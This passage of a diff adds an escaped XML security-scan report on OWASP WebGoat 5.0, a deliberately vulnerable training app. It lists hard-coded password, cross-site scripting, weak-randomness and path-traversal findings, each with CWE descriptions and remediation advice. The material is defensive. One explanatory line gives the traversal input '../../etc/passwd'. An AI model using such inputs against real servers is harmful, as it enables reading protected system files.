+        remediationeffort=\"4\" exploitLevel=\"0\" categoryid=\"10\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"DatabaseUtilities.java\"
+        line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.DatabaseUtilities\"
+        functionprototype=\"java.sql.Connection makeConnection(void)\" functionrelativelocation=\"72\"/>\n</staticflaws>\n</cwe>\n<cwe
+        cweid=\"259\" cwename=\"Use of Hard-coded Password\" pcirelated=\"false\"
+        owasp=\"930\" sans=\"798\" certjava=\"861\">\n<description>\n<text text=\"A
+        method uses a hard-coded password that may compromise system security in a
+        way that cannot be easily remedied.  The use of a hard-coded password significantly
+        increases the possibility that the account being protected will be compromised.
+        \ Moreover, the password cannot be changed without patching the software.
+        \ If a hard-coded password is compromised in a commercial product, all deployed
+        instances may be vulnerable to attack.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Use of Hard-coded Password\" count=\"1\" issueid=\"28\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
+        description=\"The java.sql.DriverManager.getConnection() method uses a hard-coded
+        password that may compromise system security in a way that cannot be easily
+        remedied. The use of a hard-coded password significantly increases the possibility
+        that the account being protected will be compromised. Moreover, the password
+        cannot be changed without patching the software. If a hard-coded password
+        is compromised in a commercial product, all deployed instances may be vulnerable
+        to attack.\r\n\r\nStore passwords out-of-band from the application code. Follow
+        best practices for protecting credentials stored in locations such as configuration
+        or properties files.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/259.html)\r\n\r\n\"
+        note=\"\" cweid=\"259\" remediationeffort=\"4\" exploitLevel=\"1\" categoryid=\"10\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CreateDB.java\"
+        line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\" scope=\"org.owasp.webgoat.session.CreateDB\"
+        functionprototype=\"void main(java.lang.String  [])\" functionrelativelocation=\"16\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"20\" categoryname=\"Cross-Site Scripting\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Cross-site scripting (XSS) attacks occur when an attacker uses a web
+        application to send malicious code, generally in the form of a browser side
+        script, to a different end user. Flaws that allow these attacks to succeed
+        occur whenever a web application uses untrusted data in the output it generates
+        without validating or encoding it.  XSS vulnerabilities are commonly exploited
+        to steal or manipulate cookies, modify presentation of content, and compromise
+        sensitive information, with new attack vectors being discovered on a regular
+        basis.  XSS is also commonly referred to as HTML injection.\"/>\n<para text=\"XSS
+        vulnerabilities can be either persistent or transient (often referred to as
+        stored and reflected, respectively).  In a persistent XSS vulnerability, the
+        injected code is stored by the application, for example within a blog comment
+        or message board.  The attack occurs whenever a victim views the page containing
+        the malicious script.  In a transient XSS vulnerability, the injected code
+        is included directly in the HTTP request.  These attacks are often carried
+        out via malicious URLs sent via email or another website and requires the
+        victim to browse to that link.  The consequence of an XSS attack to a victim
+        is the same regardless of whether it is persistent or transient; however,
+        persistent XSS vulnerabilities are likely to affect a greater number of victims
+        due to its delivery mechanism.\"/>\n</desc>\n<recommendations>\n<para text=\"Several
+        techniques can be used to prevent XSS attacks. These techniques complement
+        each other and address security at different points in the application. Using
+        multiple techniques provides defense-in-depth and minimizes the likelihood
+        of a XSS vulnerability.\">\n<bulletitem text=\"Use output filtering to sanitize
+        all output generated from user-supplied input, selecting the appropriate method
+        of encoding based on the use case of the untrusted data.  For example, if
+        the data is being written to the body of an HTML page, use HTML entity encoding.
+        \ However, if the data is being used to construct generated Javascript or
+        if it is consumed by client-side methods that may interpret it as code (a
+        common technique in Web 2.0 applications), additional restrictions may be
+        necessary beyond simple HTML encoding.\"/>\n<bulletitem text=\"Validate user-supplied
+        input using positive filters (white lists) to ensure that it conforms to the
+        expected format, using centralized data validation routines when possible.
+        \"/>\n<bulletitem text=\"Do not permit users to include HTML content in posts,
+        notes, or other data that will be displayed by the application.  If users
+        are permitted to include HTML tags, then carefully limit access to specific
+        elements or attributes, and use strict validation filters to prevent abuse.\"/>\n</para>\n</recommendations>\n<cwe
+        cweid=\"83\" cwename=\"Improper Neutralization of Script in Attributes in
+        a Web Page\" pcirelated=\"false\" owasp=\"931\">\n<description>\n<text text=\"The
+        application does not filter text or other data for potentially malicious HTML
+        content. This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\"/>\n</description>\n<dynamicflaws>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"277\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/attack\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"278\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/css/menu.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"279\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/images/logos/owasp.jpg\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"280\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/javascript/javascript.js\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"281\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/CommandInjection_files/image005.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"284\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/formate.css\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"282\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/HttpSplitting_files/filelist.xml\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"283\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lesson_solutions/UncheckedEmail_files/image001.png\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"285\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/General/redirect.jsp\"/>\n<flaw
+        severity=\"3\" categoryname=\"Improper Neutralization of Script in Attributes
+        in a Web Page\" count=\"1\" issueid=\"286\" module=\"dynamic_analysis\" type=\"Improper
+        Neutralization of Script in Attributes in a Web Page\" description=\"The application
+        does not filter text or other data for potentially malicious HTML content.
+        This enables an attacker to craft arbitrary HTML content. This vulnerability
+        typically requires that an attacker be able to submit JavaScript &lt;script&gt;
+        tags as part of a field that is re-displayed to one or more users. The &lt;script&gt;
+        tag contains instructions that are executed in a user's web browser, not on
+        the web application server. JavaScript functions can be used to write raw
+        HTML, read cookie values, pull JavaScript code from a third-party web server,
+        or send data to a third-party web server.\r\n\r\nCross-site scripting and
+        HTML injection attacks can be defeated by applying robust input validation
+        filters for all data received from the web browser. Do not permit users to
+        include HTML content in posts, notes, or other data that will be displayed
+        by the application. If users are permitted to include HTML entities, then
+        limit access to specific elements or attributes. Use the programming language's
+        built-in routines to remove potentially malicious characters.\r\n\r\n\r\nCWE
+        (http://cwe.mitre.org/cgi-bin/jumpmenu.cgi?id=83) \r\nOWASP (http://www.owasp.org/index.php/Cross_Site_Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"83\" remediationeffort=\"3\" categoryid=\"20\" pcirelated=\"true\"
+        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 15:03:50 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" url=\"http://10.0.4.89:8080/WebGoat/lessons/RoleBasedAccessControl/images/orgChart.jpg\"/>\n</dynamicflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Applications commonly use cryptography to implement authentication
+        mechanisms and to ensure the confidentiality and integrity of sensitive data,
+        both in transit and at rest.  The proper and accurate implementation of cryptography
+        is extremely critical to its efficacy.  Configuration or coding mistakes as
+        well as incorrect assumptions may negate a large degree of the protection
+        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
+        text=\"Common cryptographic mistakes include, but are not limited to, selecting
+        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
+        data, using predictable entropy sources, and mismanaging or hard-coding keys.
+        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
+        can improve security by designing their own cryptographic algorithm; however,
+        one of the basic tenets of cryptography is that any cipher whose effectiveness
+        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
+        text=\"Select the appropriate type of cryptography for the intended purpose.
+        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
+        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
+        for the data being protected; for high assurance applications, 256-bit symmetric
+        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
+        key storage, and ensure that plaintext data and key material are not inadvertently
+        exposed.\"/>\n</recommendations>\n<cwe cweid=\"331\" cwename=\"Insufficient
+        Entropy\" pcirelated=\"false\" sans=\"327\">\n<description>\n<text text=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"Insufficient Entropy\" count=\"1\" issueid=\"173\"
+        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Math.random\" description=\"Standard
+        random number generators do not provide a sufficient amount of entropy when
+        used for security purposes. Attackers can brute force the output of pseudorandom
+        number generators such as rand().\r\n\r\nIf this random number is used where
+        security is a concern, such as generating a session key or session identifier,
+        use a trusted cryptographic random number generator instead. These can be
+        found on the Windows platform in the CryptoAPI or in an open source library
+        such as OpenSSL. In Java, use the SecureRandom object to ensure sufficient
+        entropy.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/331.html)\r\n\r\n\"
+        note=\"\" cweid=\"331\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"12\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"WeakSessionID.java\"
+        line=\"77\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.WeakSessionID\"
+        functionprototype=\"void &lt;clinit&gt;(void)\" functionrelativelocation=\"75\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
+        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"false\">\n<desc>\n<para
+        text=\"Allowing user input to control paths used in filesystem operations
+        may enable an attacker to access or modify otherwise protected system resources
+        that would normally be inaccessible to end users.  In some cases, the user-provided
+        input may be passed directly to the filesystem operation, or it may be concatenated
+        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
+        text=\"When an application improperly cleanses special character sequences
+        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
+        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"73\" cwename=\"External Control
+        of File Name or Path\" pcirelated=\"false\" sans=\"22\" certcpp=\"877\">\n<description>\n<text
+        text=\"This call contains a path manipulation flaw.  The argument to the function
+        is a filename constructed using user-supplied input.  If an attacker is allowed
+        to specify all or part of the filename, it may be possible to gain unauthorized
+        access to files on the server, including those outside the webroot, that would
+        be normally be inaccessible to end users.  The level of exposure depends on
+        the effectiveness of input validation routines, if any.\"/>\n</description>\n<staticflaws>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"238\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"171\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"252\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
+        description=\"This call to java.io.File.!operator_javanewinit() contains a
+        path manipulation flaw. The argument to the function is a filename constructed
+        using user-supplied input. If an attacker is allowed to specify all or part
+        of the filename, it may be possible to gain unauthorized access to files on
+        the server, including those outside the webroot, that would be normally be
+        inaccessible to end users. The level of exposure depends on the effectiveness
+        of input validation routines, if any. The second argument to !operator_javanewinit()
+        contains tainted data from the variable helpFile. The tainted data originated
+        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
+        all user-supplied input to ensure that it conforms to the expected format,
+        using centralized data validation routines when possible. When using black
+        lists, be sure that the sanitizing routine performs a sufficient number of
+        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
+        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
+        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
+        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"CommandInjection.java\"
+        line=\"180\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.CommandInjection\"
+        functionprototype=\"apache.ecs.Element createContent(session.WebSession)\"
+        functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
+        issueid=\"9\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.FileInputStream.!operator_javanewinit\"
+        description=\"This call to java.io.FileInputStream.!operator_javanewinit()
+        contains a path manipulation flaw. The argument to the function is a filename
